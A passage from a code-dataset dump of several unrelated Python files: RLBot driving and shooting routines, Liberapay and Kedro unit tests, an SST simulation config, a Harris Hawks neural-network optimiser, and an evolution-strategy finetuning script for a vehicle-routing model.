it's inside the field and we don't try to dirve through any goalposts to reach it\n if abs(agent.me.location.y) > 5150:\n final_target.x = cap(final_target.x, -750, 750)\n\n local_final_target = agent.me.local(final_target - agent.me.location)\n\n # drawing debug lines to show the dodge point and final target (which differs due to the adjustment)\n agent.line(agent.me.location, self.dodge_point, agent.renderer.white())\n agent.line(self.dodge_point-Vector(z=100), self.dodge_point+Vector(z=100), agent.renderer.red())\n agent.line(final_target-Vector(z=100), final_target+Vector(z=100), agent.renderer.green())\n\n # Calling our drive utils to get us going towards the final target\n angles = defaultPD(agent, local_final_target, self.direction)\n defaultThrottle(agent, speed_required, self.direction)\n\n agent.line(agent.me.location, agent.me.location + (self.shot_vector*200), agent.renderer.white())\n\n agent.controller.boost = False if abs(angles[1]) > 0.3 or agent.me.airborne else agent.controller.boost\n agent.controller.handbrake = True if abs(angles[1]) >= 2.3 or (agent.me.local(agent.me.velocity).x >= 1400 and abs(angles[1]) > 1.5) and self.direction == 1 else agent.controller.handbrake\n\n if not self.jumping:\n if raw_time_remaining <= 0 or (speed_required - 2300) * time_remaining > 45 or not shot_valid(agent, self):\n # If we're out of time or not fast enough to be within 45 units of target at the intercept time, we pop\n agent.pop()\n agent.shooting = False\n agent.shot_weight = -1\n agent.shot_time = -1\n if agent.me.airborne:\n agent.push(recovery())\n elif local_acceleration_required.z > self.jump_threshold and local_acceleration_required.z > local_acceleration_required.flatten().magnitude():\n # Switch into the jump when the upward acceleration required reaches our threshold, and our lateral acceleration is negligible\n self.jumping = True\n else:\n if (raw_time_remaining > 0.2 and not shot_valid(agent, self, 150)) or raw_time_remaining <= -0.9 or (not agent.me.airborne and self.counter > 0):\n agent.pop()\n agent.shooting = False\n agent.shot_weight = -1\n agent.shot_time = -1\n agent.push(recovery())\n elif self.counter == 0 and local_acceleration_required.z > 0 and raw_time_remaining > 0.083:\n # Initial jump to get airborne + we hold the jump button for extra power as required\n agent.controller.jump = True\n elif self.counter < 3:\n # make sure we aren't jumping for at least 3 frames\n agent.controller.jump = False\n self.counter += 1\n elif raw_time_remaining <= 0.1 and raw_time_remaining > -0.9:\n # dodge in the direction of the shot_vector\n agent.controller.jump = True\n if not self.dodging:\n vector = agent.me.local(self.shot_vector)\n self.p = abs(vector.x) * -sign(vector.x)\n self.y = abs(vector.y) * sign(vector.y) * self.direction\n self.dodging = True\n # simulating a deadzone so that the dodge is more natural\n agent.controller.pitch = self.p if abs(self.p) > 0.2 else 0\n agent.controller.yaw = self.y if abs(self.y) > 0.3 else 0\n\n\nclass generic_kickoff:\n def __init__(self):\n self.flip = False\n\n def run(self, agent):\n if self.flip:\n agent.kickoff_done = True\n agent.pop()\n return\n\n target = agent.ball.location + Vector(y=200*side(agent.team))\n local_target = agent.me.local(target - agent.me.location)\n\n defaultPD(agent, local_target)\n agent.controller.throttle = 1\n agent.controller.boost = True\n\n distance = local_target.magnitude()\n\n if distance < 550:\n self.flip = True\n agent.push(flip(agent.me.local(agent.foe_goal.location - agent.me.location)))\n\n\nclass recovery:\n # Point towards our velocity vector and land upright, unless we aren't moving very fast\n # A vector can be provided to control where the car points when it lands\n def __init__(self, target=None):\n self.target = target\n\n def run(self, agent):\n if self.target is not None:\n local_target = agent.me.local((self.target - agent.me.location).flatten())\n else:\n local_target = agent.me.local(agent.me.velocity.flatten())\n\n defaultPD(agent, local_target)\n agent.controller.throttle = 1\n if not agent.me.airborne:\n agent.pop()\n\n\nclass ball_recovery:\n def run(self, agent):\n local_target = agent.me.local((agent.ball.location - agent.me.location).flatten())\n\n defaultPD(agent, local_target)\n agent.controller.throttle = 1\n if not agent.me.airborne:\n agent.pop()\n\n\nclass short_shot:\n # This routine drives towards the ball and attempts to hit it towards a given target\n # It does not require ball prediction and kinda guesses at where the ball will be on its own\n def __init__(self, target):\n self.target = target\n self.start_time = None\n\n def run(self, agent):\n agent.shooting = True\n\n if self.start_time is None:\n self.start_time = agent.time\n\n car_to_ball, distance = (agent.ball.location - agent.me.location).normalize(True)\n ball_to_target = (self.target - agent.ball.location).normalize()\n\n relative_velocity = car_to_ball.dot(agent.me.velocity-agent.ball.velocity)\n if relative_velocity != 0:\n eta = cap(distance / cap(relative_velocity, 400, 2300), 0, 1.5)\n else:\n eta = 1.5\n\n # If we are approaching the ball from the wrong side the car will try to only hit the very edge of the ball\n left_vector = car_to_ball.cross(Vector(z=1))\n right_vector = car_to_ball.cross(Vector(z=-1))\n target_vector = -ball_to_target.clamp(left_vector, right_vector)\n final_target = agent.ball.location + (target_vector*(distance/2))\n\n # Some adjustment to the final target to ensure we don't try to dirve through any goalposts to reach it\n if abs(agent.me.location.y) > 5150:\n final_target.x = cap(final_target.x, -750, 750)\n\n agent.line(final_target-Vector(z=100), final_target + Vector(z=100), [255, 255, 255])\n\n angles = defaultPD(agent, agent.me.local(final_target-agent.me.location))\n defaultThrottle(agent, 2300 if distance > 1600 else 2300-cap(1600*abs(angles[1]), 0, 2050))\n agent.controller.boost = False if agent.me.airborne or abs(angles[1]) > 0.3 else agent.controller.boost\n agent.controller.handbrake = True if abs(angles[1]) >= 2.3 or (agent.me.local(agent.me.velocity).x >= 1400 and abs(angles[1]) > 1.5) else agent.controller.handbrake\n\n if abs(angles[1]) < 0.05 and (eta < 0.45 or distance < 150):\n agent.pop()\n agent.shooting = False\n agent.shot_weight = -1\n agent.shot_time = -1\n agent.push(flip(agent.me.local(car_to_ball)))\n elif agent.time - self.start_time > 3:\n agent.pop()\n agent.shooting = False\n agent.shot_weight = -1\n agent.shot_time = -1\n\n\nclass block_ground_shot:\n def __init__(self):\n self.ball_location = None\n self.intercept_time = None\n self.direction = None\n self.brake = False\n\n def run(self, agent):\n agent.shooting = True\n agent.shot_weight = agent.max_shot_weight - 1\n if self.ball_location is None or not shot_valid(agent, self, threshold=75):\n self.ball_location, self.intercept_time, self.direction = self.get_intercept(agent)\n\n if self.ball_location is None:\n agent.shooting = False\n agent.shot_weight = -1\n agent.pop()\n return\n\n agent.shot_time = self.intercept_time\n t = self.intercept_time - agent.time\n\n # if we ran out of time, just pop\n # this can be because we were successful or not - we can't tell\n if t < -0.3:\n agent.shooting = False\n agent.shot_weight = -1\n agent.pop()\n return\n\n if self.brake:\n if agent.ball.location.dist(agent.me.location) < 250 and agent.ball.location.y * side(agent.team) + 10 < agent.me.location.y and agent.ball.location.z < 190:\n agent.pop()\n agent.flip(agent.me.local(agent.ball.location))\n else:\n # current velocity\n u = agent.me.local(agent.me.velocity).x\n a = brake_accel.x\n # calculate how much distance we need to slow down\n x = (u ** 2 * -1) / (2 * a)\n\n if self.ball_location.dist(agent.me.location) <= x:\n self.brake = True\n agent.push(brake())\n return\n\n agent.line(self.ball_location.flatten(), self.ball_location.flatten() + Vector(z=250), color=[255, 0, 255])\n angles = defaultPD(agent, agent.me.local(self.ball_location - agent.me.location), self.direction)\n # We want to get there before the ball does, so take the time we have and get 3 fifths of it\n required_speed = cap(agent.me.location.dist(self.ball_location) / ((self.intercept_time - agent.time) * (3/5)), 600, 2275)\n defaultThrottle(agent, required_speed, self.direction)\n\n agent.controller.boost = False if abs(angles[1]) > 0.3 else agent.controller.boost\n agent.controller.handbrake = True if abs(angles[1]) >= 2.3 or (agent.me.local(agent.me.velocity).x >= 1400 and abs(angles[1]) > 1.5) and self.direction == 1 else False\n\n def is_viable(self, agent):\n self.ball_location, self.intercept_time, self.direction = self.get_intercept(agent)\n if self.ball_location is None:\n return False\n\n agent.print(f\"Block ground shot {round(self.ball_location.dist(agent.me.location), 4)}uu's away in {round(self.intercept_time - agent.time, 4)}s (Direction: {self.direction})\")\n return True\n\n def get_intercept(self, agent):\n struct = agent.predictions['ball_struct']\n intercepts = []\n\n i = 30 # Begin by looking 0.3 seconds into the future\n while i < struct.num_slices:\n intercept_time = struct.slices[i].game_seconds\n time_remaining = intercept_time - agent.time\n\n ball_location = Vector(struct.slices[i].physics.location.x, struct.slices[i].physics.location.y, struct.slices[i].physics.location.z)\n\n if abs(ball_location.y) > 5212:\n break\n\n last_ball_location = Vector(struct.slices[i-2].physics.location.x, struct.slices[i-2].physics.location.y, struct.slices[i-2].physics.location.z)\n ball_velocity = Vector(struct.slices[i].physics.velocity.x, struct.slices[i].physics.velocity.y, struct.slices[i].physics.velocity.z).magnitude()\n\n i += 15 - cap(int(ball_velocity//150), 0, 13)\n\n if time_remaining < 0 or ball_location.z > 120 or ball_location.flat_dist(agent.friend_goal.location) > last_ball_location.flat_dist(agent.friend_goal.location):\n continue\n\n car_to_ball = ball_location - agent.me.location\n direction, distance = car_to_ball.normalize(True)\n\n forward_angle = direction.angle(agent.me.forward)\n backward_angle = math.pi - forward_angle\n\n forward_time = time_remaining - (forward_angle * 0.318)\n backward_time = time_remaining - (backward_angle * 0.418)\n\n forward_flag = forward_time > 0 and (distance / forward_time) < 1800\n backward_flag = distance < 1500 and backward_time > 0 and (distance / backward_time) < 1200\n\n if forward_flag or backward_flag:\n intercepts.append((\n ball_location,\n intercept_time,\n 1 if forward_flag else -1\n ))\n\n if len(intercepts) == 0:\n return None, None, None\n\n intercepts = list(filter(lambda i: i[1] - agent.time < 3, intercepts))\n\n intercepts.sort(key=lambda i: agent.me.location.dist(i[0]))\n\n final = (None, None, None)\n last_speed = math.inf\n\n for intercept in intercepts:\n speed = agent.me.location.dist(intercept[0]) / ((intercept[1] / agent.time) * (3/5))\n if abs(speed - 1100) < abs(last_speed - 1100):\n final = intercept\n last_speed = speed\n\n return final\n","sub_path":"RLBotPack/VirxEB/util/routines.py","file_name":"routines.py","file_ext":"py","file_size_in_byte":33883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"26240873","text":"from liberapay.exceptions import MissingPaymentAccount\nfrom liberapay.models.exchange_route import ExchangeRoute\nfrom liberapay.payin.common import resolve_destination\nfrom liberapay.testing import Harness, EUR\n\n\nclass TestPayins(Harness):\n\n def test_resolve_destination(self):\n alice = self.make_participant('alice')\n bob = self.make_participant('bob')\n carl = self.make_participant('carl')\n team = self.make_participant('team', kind='group')\n alice.set_tip_to(team, EUR('10'))\n\n # Test without payment account\n team.add_member(bob)\n with self.assertRaises(MissingPaymentAccount):\n resolve_destination(self.db, team, 'stripe', alice, 'FR', EUR('10'))\n\n # Test without payment account at the requested provider\n stripe_account_bob = self.add_payment_account(bob, 'stripe')\n with self.assertRaises(MissingPaymentAccount):\n resolve_destination(self.db, team, 'paypal', alice, 'US', EUR('10'))\n\n # Test with a single member and the take at zero\n account = resolve_destination(self.db, team, 'stripe', alice, 'GB', EUR('7'))\n assert account == stripe_account_bob\n\n # Test with two members but only one payment account\n team.add_member(carl)\n account = resolve_destination(self.db, team, 'stripe', alice, 'CH', EUR('8'))\n assert account == stripe_account_bob\n\n # Test with two members but only one payment account at the requested provider\n paypal_account_carl = self.add_payment_account(carl, 'paypal')\n account = resolve_destination(self.db, team, 'stripe', alice, 'BE', EUR('42'))\n assert account == stripe_account_bob\n\n # Test with two members and both takes at zero\n stripe_account_carl = self.add_payment_account(carl, 'stripe')\n account = resolve_destination(self.db, team, 'stripe', alice, 'PL', EUR('5.46'))\n assert account == stripe_account_bob\n account = resolve_destination(self.db, team, 'paypal', alice, 'PL', EUR('99.9'))\n assert account == paypal_account_carl\n\n # Test with two members and one non-zero take\n team.set_take_for(bob, EUR('1'), bob)\n account = resolve_destination(self.db, team, 'stripe', alice, 'RU', EUR('50.02'))\n assert account == stripe_account_bob\n account = resolve_destination(self.db, team, 'paypal', alice, 'RU', EUR('33'))\n assert account == paypal_account_carl\n\n # Test with two members and two different non-zero takes\n team.set_take_for(carl, EUR('2'), carl)\n account = resolve_destination(self.db, team, 'stripe', alice, 'BR', EUR('10'))\n assert account == stripe_account_carl\n account = resolve_destination(self.db, team, 'stripe', alice, 'BR', EUR('1'))\n assert account == stripe_account_carl\n account = resolve_destination(self.db, team, 'paypal', alice, 'BR', EUR('5'))\n assert account == paypal_account_carl\n\n # Check that members are cycled through\n alice_card = ExchangeRoute.insert(\n alice, 'stripe-card', 'x', 'chargeable', remote_user_id='x'\n )\n payin, pt = self.make_payin_and_transfer(alice_card, team, EUR('2'))\n assert pt.destination == stripe_account_carl.pk\n payin, pt = self.make_payin_and_transfer(alice_card, team, EUR('1'))\n assert pt.destination == stripe_account_bob.pk\n payin, pt = self.make_payin_and_transfer(alice_card, team, EUR('4'))\n assert pt.destination == stripe_account_carl.pk\n payin, pt = self.make_payin_and_transfer(alice_card, team, EUR('10'))\n assert pt.destination == stripe_account_carl.pk\n payin, pt = self.make_payin_and_transfer(alice_card, team, EUR('2'))\n assert pt.destination == stripe_account_bob.pk\n","sub_path":"tests/py/test_payins.py","file_name":"test_payins.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"330441791","text":"# Copyright 2018-2019 QuantumBlack Visual Analytics Limited\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND\n# NONINFRINGEMENT. IN NO EVENT WILL THE LICENSOR OR OTHER CONTRIBUTORS\n# BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER IN AN\n# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF, OR IN\n# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n#\n# The QuantumBlack Visual Analytics Limited (“QuantumBlack”) name and logo\n# (either separately or in combination, “QuantumBlack Trademarks”) are\n# trademarks of QuantumBlack. The License does not grant you any right or\n# license to the QuantumBlack Trademarks. You may not use the QuantumBlack\n# Trademarks or any confusingly similar mark as a trademark for your product,\n# or use the QuantumBlack Trademarks in any other manner that might cause\n# confusion in the marketplace, including but not limited to in advertising,\n# on websites, or on software.\n#\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom unittest import mock\n\nimport pytest\n\nfrom kedro.contrib.io.pyspark import SparkJDBCDataSet\nfrom kedro.io import DataSetError\n\n\n@pytest.fixture\ndef spark_jdbc_args():\n return {\"url\": \"dummy_url\", \"table\": \"dummy_table\"}\n\n\n@pytest.fixture\ndef spark_jdbc_args_credentials(spark_jdbc_args):\n args = spark_jdbc_args\n args.update({\"credentials\": {\"user\": \"dummy_user\", \"password\": \"dummy_pw\"}})\n return args\n\n\n@pytest.fixture\ndef spark_jdbc_args_save_load(spark_jdbc_args):\n args = spark_jdbc_args\n connection_properties = {\"properties\": {\"driver\": \"dummy_driver\"}}\n args.update(\n {\"save_args\": connection_properties, \"load_args\": connection_properties}\n )\n return args\n\n\ndef test_missing_url():\n error_message = (\n \"`url` argument cannot be empty. Please provide a JDBC\"\n \" URL of the form ``jdbc:subprotocol:subname``.\"\n )\n with pytest.raises(DataSetError, match=error_message):\n SparkJDBCDataSet(url=None, table=\"dummy_table\")\n\n\ndef test_missing_table():\n error_message = (\n \"`table` argument cannot be empty. Please provide\"\n \" the name of the table to load or save data to.\"\n )\n with pytest.raises(DataSetError, match=error_message):\n SparkJDBCDataSet(url=\"dummy_url\", table=None)\n\n\ndef mock_save(arg_dict):\n mock_data = mock.Mock()\n data_set = SparkJDBCDataSet(**arg_dict)\n data_set.save(mock_data)\n return mock_data\n\n\ndef test_save(spark_jdbc_args):\n data = mock_save(spark_jdbc_args)\n data.write.jdbc.assert_called_with(\"dummy_url\", \"dummy_table\")\n\n\ndef test_save_credentials(spark_jdbc_args_credentials):\n data = mock_save(spark_jdbc_args_credentials)\n data.write.jdbc.assert_called_with(\n \"dummy_url\",\n \"dummy_table\",\n properties={\"user\": \"dummy_user\", \"password\": \"dummy_pw\"},\n )\n\n\ndef test_save_args(spark_jdbc_args_save_load):\n data = mock_save(spark_jdbc_args_save_load)\n data.write.jdbc.assert_called_with(\n \"dummy_url\", \"dummy_table\", properties={\"driver\": \"dummy_driver\"}\n )\n\n\n@mock.patch(\"kedro.contrib.io.pyspark.spark_jdbc.SparkSession.builder.getOrCreate\")\ndef mock_load(mock_get_or_create, arg_dict):\n spark = mock_get_or_create.return_value\n data_set = SparkJDBCDataSet(**arg_dict)\n data_set.load()\n return spark\n\n\ndef test_load(spark_jdbc_args):\n # pylint: disable=no-value-for-parameter\n spark = mock_load(arg_dict=spark_jdbc_args)\n spark.read.jdbc.assert_called_with(\"dummy_url\", \"dummy_table\")\n\n\ndef test_load_credentials(spark_jdbc_args_credentials):\n # pylint: disable=no-value-for-parameter\n spark = mock_load(arg_dict=spark_jdbc_args_credentials)\n spark.read.jdbc.assert_called_with(\n \"dummy_url\",\n \"dummy_table\",\n properties={\"user\": \"dummy_user\", \"password\": \"dummy_pw\"},\n )\n\n\ndef test_load_args(spark_jdbc_args_save_load):\n # pylint: disable=no-value-for-parameter\n spark = mock_load(arg_dict=spark_jdbc_args_save_load)\n spark.read.jdbc.assert_called_with(\n \"dummy_url\", \"dummy_table\", properties={\"driver\": \"dummy_driver\"}\n )\n\n\ndef test_cant_pickle():\n import pickle\n\n with pytest.raises(pickle.PicklingError):\n pickle.dumps(SparkJDBCDataSet(\"bob\", \"test\"))\n","sub_path":"tests/contrib/io/pyspark/test_spark_jdbc.py","file_name":"test_spark_jdbc.py","file_ext":"py","file_size_in_byte":4676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"114249348","text":"# Copyright 2009-2023 NTESS. Under the terms\n# of Contract DE-NA0003525 with NTESS, the U.S.\n# Government retains certain rights in this software.\n#\n# Copyright (c) 2009-2023, NTESS\n# All rights reserved.\n#\n# This file is part of the SST software package. For license\n# information, see the LICENSE file in the top level directory of the\n# distribution.\nimport sst\n\n# Define SST core options\nsst.setProgramOption(\"stop-at\", \"10us\")\n\n\n# Set up sender using anonymous subcomponent\nloader0 = sst.Component(\"Loader0\", \"coreTestElement.SubComponentLoader\")\nloader0.addParam(\"clock\", \"1.5GHz\")\nloader0.addParam(\"unnamed_subcomponent\", \"coreTestElement.SubCompSender\")\nloader0.addParam(\"sendCount\", 15)\nloader0.enableAllStatistics()\n\n# Set up receiver using anonymous subcomponent\nloader1 = sst.Component(\"Loader1\", \"coreTestElement.SubComponentLoader\")\nloader1.addParam(\"clock\", \"1.0GHz\")\nloader1.addParam(\"unnamed_subcomponent\", \"coreTestElement.SubCompReceiver\")\nloader1.enableAllStatistics()\n\n# Set up link\nlink = sst.Link(\"myLink\")\nlink.connect((loader0, \"port0\", \"5ns\"), (loader1, \"port0\", \"5ns\"))\n\nsst.setStatisticLoadLevel(1)\n","sub_path":"tests/subcomponent_tests/test_sc_a.py","file_name":"test_sc_a.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"412034243","text":"import numpy\r\nimport ANN\r\nimport csv\r\nimport random\r\nimport Hawk\r\nfrom sklearn.model_selection import train_test_split\r\n\r\ndef best(fitness):\r\n\tmax_fitness = 0\r\n\tpos = -1\r\n\tfor i in range(len(fitness)):\r\n\t\tif fitness[i] > max_fitness:\r\n\t\t\tmax_fitness = fitness[i]\r\n\t\t\tpos = i\r\n\treturn pos\r\n\r\ndef Calculate_mean(pop_weights_mat):\r\n\tmean = pop_weights_mat[0]\r\n\tfor i in range(1,len(pop_weights_mat)):\r\n\t\tmean += pop_weights_mat[i]\r\n\treturn mean/len(pop_weights_mat)\r\n\r\ndef load_data():\r\n data_inputs = []\r\n with open('datasets/breast_wisconsin.csv','r') as csvfile:\r\n rows = csv.reader(csvfile)\r\n for row in rows:\r\n row = numpy.array(row,dtype = float)\r\n data_inputs.append(row)\r\n # data_output = [row[-1] for row in data_inputs]\r\n # data_input = [row[:-1] for row in data_inputs]\r\n data_outputs = []\r\n with open('datasets/label_wisconsin.csv','r') as csvfile:\r\n rows = csv.reader(csvfile)\r\n for row in rows:\r\n row = numpy.array(row,dtype = float)\r\n data_outputs.append(row)\r\n return data_inputs,data_outputs\r\n\r\ndata_inputs, data_outputs = load_data()\r\n\r\nminmax = ANN.dataset_minmax(data_inputs)\r\nANN.normalize_dataset(data_inputs, minmax)\r\ndata_inputs = numpy.array(data_inputs)\r\ndata_outputs = numpy.array(data_outputs)\r\ndata_inputs, X, data_outputs, y = train_test_split(data_inputs, data_outputs,test_size = 0.15, random_state = 1)\r\n\r\nprint(data_inputs.shape)\r\n\r\nsol_per_pop = 12\r\nnum_generations = 100\r\n\r\n# HL1_neurons = data_inputs.shape[1] * 2 #for cancer_patient\r\n# HL2_neurons = int(data_inputs.shape[1]/2)\r\n# output_neurons = 3\r\n\r\nHL1_neurons = data_inputs.shape[1] * 2 #for cancer_patient\r\nHL2_neurons = int(data_inputs.shape[1]/2)\r\noutput_neurons = 2\r\n\r\nweight_range_1 = -1\r\nweight_range_2 = 1\r\n\r\ninitial_pop_weights = []\r\nfor curr_sol in numpy.arange(0, sol_per_pop):\r\n\tinput_HL1_weights = numpy.random.uniform(low=weight_range_1, high=weight_range_2, size=(data_inputs.shape[1], HL1_neurons))\r\n\tHL1_HL2_weights = numpy.random.uniform(low=weight_range_1, high=weight_range_2, size=(HL1_neurons, HL2_neurons))\r\n\tHL2_output_weights = numpy.random.uniform(low=weight_range_1, high=weight_range_2, size=(HL2_neurons, output_neurons))\r\n\tinitial_pop_weights.append(numpy.array([input_HL1_weights, HL1_HL2_weights, HL2_output_weights]))\r\n\r\npop_weights_mat = numpy.array(initial_pop_weights)\r\n\r\nfitness = ANN.fitness(pop_weights_mat, data_inputs,data_outputs, activation=\"tanh\")\r\nbest_index = best(fitness)\r\nrabbit = pop_weights_mat[best_index]\r\nE_value = []\r\nbest_result = []\r\nbest_pop = []\r\nmean_fitness = []\r\nmax_f = []\r\naccuracies = numpy.empty(shape=(num_generations))\r\nsigma = pow(((1.33*.707)/(.9064*1.5*pow(2,.25))),2/3)\r\nfor generation in range(num_generations):\r\n\tprint(\"Generation : \", generation)\r\n\tfitness = ANN.fitness(pop_weights_mat, data_inputs,data_outputs, activation=\"tanh\")\r\n\tprint(fitness)\r\n\tbest_index = best(fitness)\r\n\tmax_f.append(fitness[best_index])\r\n\trabbit = pop_weights_mat[best_index]\r\n\r\n\taccuracies[generation] = fitness[best_index]\r\n\tMean_pop_weight = Calculate_mean(pop_weights_mat)\r\n\tmean_fitness.append(Calculate_mean(fitness))\r\n\tfor i in range(len(pop_weights_mat)):\r\n\t\tif i == best_index:\r\n\t\t\tcontinue\r\n\t\tinput_HL1_weights = numpy.random.uniform(low=weight_range_1, high=weight_range_2, size=(data_inputs.shape[1], HL1_neurons))\r\n\t\tHL1_HL2_weights = numpy.random.uniform(low=weight_range_1, high=weight_range_2, size=(HL1_neurons, HL2_neurons))\r\n\t\tHL2_output_weights = numpy.random.uniform(low=weight_range_1, high=weight_range_2, size=(HL2_neurons, output_neurons))\r\n\t\tS = []\r\n\t\tS.append(numpy.array([input_HL1_weights, HL1_HL2_weights, HL2_output_weights]))\r\n\t\tS = numpy.array(S)\r\n\t\tbase_E = 2*random.random() - 1\r\n\t\tJ = 2*(1 - random.random())\r\n\t\tr = random.random()\r\n\t\tE = 2*base_E*(1 - generation/num_generations)\r\n\t\tE_value.append(E)\r\n\t\tif abs(E) >= 1:\r\n\t\t\trand_hawk_index = random.randrange(0,sol_per_pop)\r\n\t\t\twhile(rand_hawk_index != i):\r\n\t\t\t\trand_hawk_index = random.randrange(0,sol_per_pop)\r\n\t\t\trand_hawk = pop_weights_mat[rand_hawk_index]\r\n\t\t\tpop_weights_mat[i] = Hawk.update_hawk1(pop_weights_mat[i], rabbit, Mean_pop_weight, rand_hawk, weight_range_1, weight_range_2) #update using eq 1\r\n\t\telse:\r\n\t\t\tif r >= .5 and abs(E) >= .5:\r\n\t\t\t\tpop_weights_mat[i] = Hawk.update_hawk2(pop_weights_mat[i], rabbit, J, E) #update using eq 4\r\n\t\t\telif r >= .5 and abs(E) < .5:\r\n\t\t\t\tpop_weights_mat[i] = Hawk.update_hawk3(pop_weights_mat[i], rabbit, E) #update using eq6\r\n\t\t\telif r < .5 and abs(E) >= .5:\r\n\t\t\t\tpop_weights_mat[i] = Hawk.update_hawk4(pop_weights_mat[i], rabbit, J, E, sigma, S, data_inputs, data_outputs) #update using eq10\r\n\t\t\telse:\r\n\t\t\t\tpop_weights_mat[i] = Hawk.update_hawk5(pop_weights_mat[i], rabbit, Mean_pop_weight, J, E, sigma, S, data_inputs, data_outputs) #update using eq11\r\n\r\n\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\nplt.plot(E_value)\r\nplt.show()\r\nx = [i for i in range(0,100)]\r\nfig, ax = plt.subplots()\r\nax.plot(x,mean_fitness)\r\nax.plot(x, max_f)\r\nplt.show()\r\nbest_weights = rabbit\r\nacc, predictions = ANN.predict_outputs(best_weights, X, y, activation=\"tanh\")\r\n# print(fitness[best_index])\r\nprint(acc)\r\n","sub_path":"Code/main_Hawk.py","file_name":"main_Hawk.py","file_ext":"py","file_size_in_byte":5214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"18794482","text":"from water_line import *\nfrom wave_crest import *\n\nDATA_BASE = \"/home/patchgreen99/surf/\"\nSOURCE = \"static/\"\n\ndef update():\n\n img = cv2.imread(DATA_BASE+SOURCE+\"latest.jpg\")\n img = img[100:700, 0:1600]\n\n y, img = draw(img)\n crest_draw(img, y)\n\n cv2.imwrite(DATA_BASE+SOURCE+\"ready.jpg\", img)","sub_path":"python/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"623110284","text":"\n\n#calss header\nclass _VALE():\n\tdef __init__(self,): \n\t\tself.name = \"VALE\"\n\t\tself.definitions = [u'used in the name of some valleys: ', u'a valley: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_vale.py","file_name":"_vale.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"390928613","text":"import argparse\nimport torch\nfrom torch.nn.utils import parameters_to_vector, vector_to_parameters\nfrom torch.utils.data import DataLoader\nfrom pathlib import Path\n\nfrom utils import load_model\nfrom problems import CVRP\n\n\ndef fitness(dataset, model, params):\n # Need a dataloader to batch instances\n dataloader = DataLoader(dataset, batch_size=1000)\n\n # Make var works for dicts\n batch = next(iter(dataloader))\n \n # Set the model parameters\n vector_to_parameters(params, model.parameters())\n\n # Run the model\n # model.eval() #? keep?\n model.set_decode_type('greedy')\n with torch.no_grad():\n length, log_p, pi = model(batch, return_pi=True)\n\n return length.mean()\n\n\ndef train(num_epochs, num_samples, vis_iter, save_iter, sigma, lr, problem_size, dataset_size, mirror_sampling, load_source):\n # setup\n torch.manual_seed(1234)\n\n savedir = f'saved_params/cvrp_{problem_size}'\n Path(savedir).mkdir(parents=True, exist_ok=True)\n\n model, _ = load_model(f'pretrained/cvrp_{problem_size}/')\n\n if load_source is not None:\n params = torch.load(f'{savedir}/{load_source}')\n print(f'Starting with pretrained model {load_source}')\n else:\n params = torch.load(f'{savedir}/base')\n print('Starting with untrained model')\n params.requires_grad = False\n\n dataset = CVRP.make_dataset(size=problem_size, num_samples=dataset_size)\n\n # report starting fitness\n print(f'Fitness started at \\t{fitness(dataset, model, params).item()}')\n print('-' * 19)\n\n # training loop\n fitness_history = []\n for epoch in range(num_epochs):\n\n # estimate gradient\n grad = 0\n for _ in range(num_samples):\n eps = torch.randn_like(params)\n grad += fitness(dataset, model, params + sigma * eps) * eps\n if mirror_sampling:\n grad += fitness(dataset, model, params - sigma * eps) * (-eps)\n\n if mirror_sampling:\n grad /= 2 * num_samples * sigma\n else:\n grad /= num_samples * sigma\n\n # update parameters by following gradient\n params -= lr * grad\n\n # print current fitness\n if epoch % vis_iter == vis_iter - 1:\n f = fitness(dataset, model, params).item()\n print(f'Epoch {epoch + 1}/{num_epochs} \\t\\t{f}')\n fitness_history.append(f)\n\n # save current parameters\n if epoch % save_iter == save_iter - 1:\n torch.save(params, f'{savedir}/epoch_{epoch + 1}')\n with open(f'{savedir}/fitness_history', 'w') as f:\n f.write(str(fitness_history))\n\n\nparser = argparse.ArgumentParser(description='Finetune the trained attention model using OpenAI\\'s natural evolution strategy')\nparser.add_argument('--epochs', default=10000, type=int)\nparser.add_argument('--samples', default=10, type=int)\nparser.add_argument('--vis_iter', default=1, type=int)\nparser.add_argument('--save_iter', default=10, type=int)\nparser.add_argument('--sigma', default=0.01, type=float)\nparser.add_argument('--lr', default=1e-6, type=float)\nparser.add_argument('--problem_size', default=100, type=int)\nparser.add_argument('--dataset_size', default=100, type=int)\nparser.add_argument('--mirror_sampling', default=True, type=bool)\nparser.add_argument('--load_source', '-l', default=None, type=str)\nargs = parser.parse_args()\n\ntrain(args.epochs, args.samples, args.vis_iter, args.save_iter, args.sigma, args.lr, args.problem_size, args.dataset_size, args.mirror_sampling, 